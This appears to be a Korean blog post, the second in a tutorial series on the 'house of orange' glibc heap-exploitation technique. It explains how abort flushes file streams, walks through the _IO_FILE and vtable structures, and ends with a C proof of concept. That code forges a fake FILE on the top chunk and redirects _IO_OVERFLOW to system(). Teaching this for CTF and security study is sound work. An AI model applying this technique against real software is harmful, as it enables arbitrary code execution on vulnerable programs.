2019/09/01 - [힙(heap)/house_of_orange] - house_of_orange (1)
2편은 1편을 보시면 더 잘 이해가 되실겁니다. 일단 저희가 1편에서 예전의 top chunk free시킴으로서 free된 크기가 큰 청크를 얻었습니다. 이번에는 1편에서 말한 가짜 구조체를 만들어야하는 이유에 대해서 알아볼 것입니다.
먼저 malloc_printerr의 소스코드를 봐야합니다.
static void
malloc_printerr (const char *str)
{
__libc_message (do_abort, "%s\n", str);
__builtin_unreachable ();
}
저기서 __libc_message를 호출하게 되는데 이 소스코드를 보게 되면
/* Abort with an error message. */
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif
/* Don't call __libc_secure_getenv if we aren't doing backtrace, which
may access the corrupted stack. */
if ((action & do_backtrace))
{
/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd = __open_nocancel (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
}
if (fd == -1)
fd = STDERR_FILENO;
struct str_list *list = NULL;
int nlist = 0;
const char *cp = fmt;
while (*cp != '\0')
{
/* Find the next "%s" or the end of the string. */
const char *next = cp;
while (next[0] != '%' || next[1] != 's')
{
next = __strchrnul (next + 1, '%');
if (next[0] == '\0')
break;
}
/* Determine what to print. */
const char *str;
size_t len;
if (cp[0] == '%' && cp[1] == 's')
{
str = va_arg (ap, const char *);
len = strlen (str);
cp += 2;
}
else
{
str = cp;
len = next - cp;
cp = next;
}
struct str_list *newp = alloca (sizeof (struct str_list));
newp->str = str;
newp->len = len;
newp->next = list;
list = newp;
++nlist;
}
bool written = false;
if (nlist > 0)
{
struct iovec *iov = alloca (nlist * sizeof (struct iovec));
ssize_t total = 0;
for (int cnt = nlist - 1; cnt >= 0; --cnt)
{
iov[cnt].iov_base = (char *) list->str;
iov[cnt].iov_len = list->len;
total += list->len;
list = list->next;
}
written = WRITEV_FOR_FATAL (fd, iov, nlist, total);
if ((action & do_abort))
{
total = ((total + 1 + GLRO(dl_pagesize) - 1)
& ~(GLRO(dl_pagesize) - 1));
struct abort_msg_s *buf = __mmap (NULL, total,
PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (__glibc_likely (buf != MAP_FAILED))
{
buf->size = total;
char *wp = buf->msg;
for (int cnt = 0; cnt < nlist; ++cnt)
wp = mempcpy (wp, iov[cnt].iov_base, iov[cnt].iov_len);
*wp = '\0';
/* We have to free the old buffer since the application might
catch the SIGABRT signal. */
struct abort_msg_s *old = atomic_exchange_acq (&__abort_msg,
buf);
if (old != NULL)
__munmap (old, old->size);
}
}
}
va_end (ap);
if ((action & do_abort))
{
if ((action & do_backtrace))
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
위에 있는 부분에서는 출력할 내용을 str_list라는 구조체에 넣는 내용입니다. 그 다음에는 abort()를 호출하게됩니다. 그런데 abort의 예전 소스코드를 보면 _IO_flush_all_lockp()을 호출하게되는 것을 볼 수 있습니다. 왜 현재 소스코드가 아니라 예전 소스코드를 봐야되는 이유는 현재에는 abort.c 코드가 수정이되면서 더 이상 _IO_flush_all_lockp()을 호출하지 않게 되었기때문입니다.
여기서 소스코드와 그에 대한 내용을 보실 수 있습니다.
https://github.com/shellphish/how2heap/issues/69
즉 정리하자면 이런식으로 _IO_flush_all_lockp()이 호출되게 되는겁니다.
이제 house_of_orange의 핵심이라고 할 수 있는 _IO_flush_all_lockp()의 소스코드를 봐보겠습니다.
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}
#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif
return result;
}
이렇게 되있습니다. 이 소스코드를 이해하려면 _IO_FILE_PLUS구조체를 이해해야 합니다. 왜냐하면
extern struct _IO_FILE_plus *_IO_list_all;
이런식으로 선언돼어있기때문입니다.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* 뒤에 나오는 포인터드들은 C++의 streambuf 규약에 대응한다. */
/* Note: Tk는 _IO_read_ptr와 _IO_read_end 값을 바로 사용한다. */
char* _IO_read_ptr; /* 현재 읽기 포인터 */
char* _IO_read_end; /* 읽을 영역의 끝. */
char* _IO_read_base; /* 읽을 영역의 처음. */
char* _IO_write_base; /* 출력할 영역의 시작부분. */
char* _IO_write_ptr; /* 현재 출력 포인터. */
char* _IO_write_end; /* 출력 영역의 끝부분. */
char* _IO_buf_base; /* 예약된 영역의 처음 */
char* _IO_buf_end; /* 예약된 영역의 끝. */
/* 뒤에 오는 값들은 백업과 되돌리기를 위해 사용된다. */
char *_IO_save_base; /* 현재가 아닌 읽을 영역의 포인터 */
char *_IO_backup_base; /* 백업 영역의 첫번째 유효한 문자의 포인터 */
char *_IO_save_end; /* 현재가 아닌 읽을 영역의 끝 */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* 이것은 오프셋으로 쓰이지만 너무 작다. */
#define __HAVE_COLUMN /* 임시 */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
/* 우리가 문제에 직면하지 않게 확실히 한다. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
이 구조체를 정리해보자면 이렇게 됩니다.
여기서 주목해야 할점은 _IO_OVERFLOW부분입니다. 이 함수는 vtable안에 있는 _IO_OVERFLOW함수를 호출하는 것입니다. 그러기 위해서는 아래의 조건문을 통과하도록 fp구조체의 값을 만족하도록 잘 조정해주어야합니다.
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
그래서 조정한 뒤 이 _IO_OVERFLOW의 부분을 one_gadget으로 덮어주거나 _IO_OVERFLOW함수는 fp를 인자로 취하기 때문에 system으로 덮고 /bin/sh를 인자로 줄 수도 있습니다. 그래서 이렇게 가짜 구조체를 작성할 수 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sys(char* ptr){
system(ptr);
}
int main(){
printf("%d\n",sizeof(_IO_FILE));
char *p1_chunk = malloc(8) - 2 * 8;
size_t* top = (size_t*) (p1_chunk + 32);
top[1] = 0xfe1;
malloc(0x1000);
// fake _IO_FILE_PLUS
_IO_FILE *fp = (_IO_FILE *) top;
fp->_mode = 0; // top +0xc0
fp->_IO_write_base = (char*)1; // top+0x20
fp->_IO_write_ptr = (char*)2; // top+0x28
*(size_t *) ((fp + sizeof(_IO_FILE))) = &top[5];// vtable : &top[12]
top[8] =(size_t *) &sys; // write _IO_OVERFLOW()
//////////////////////
}
이번에는 가짜 구조체를 작성해야하는 이유와 방법에 대해 알아보았는데 다음에는 이 가짜 구조체를 어떻게 이용할 것인지에 대해 써보겠습니다.
'힙(heap) > house_of_orange' 카테고리의 다른 글
house_of_orange (6) pwnable.tw - bookwriter (0) | 2019.09.10 |
---|---|
house_of_orange (5) 자동 구조체 생성기 모듈 만들기 (0) | 2019.09.09 |
house_of_orange (4) HITCON house of orange writeup (0) | 2019.09.06 |
house_of_orange (3) (0) | 2019.09.04 |
house_of_orange (1) (0) | 2019.09.01 |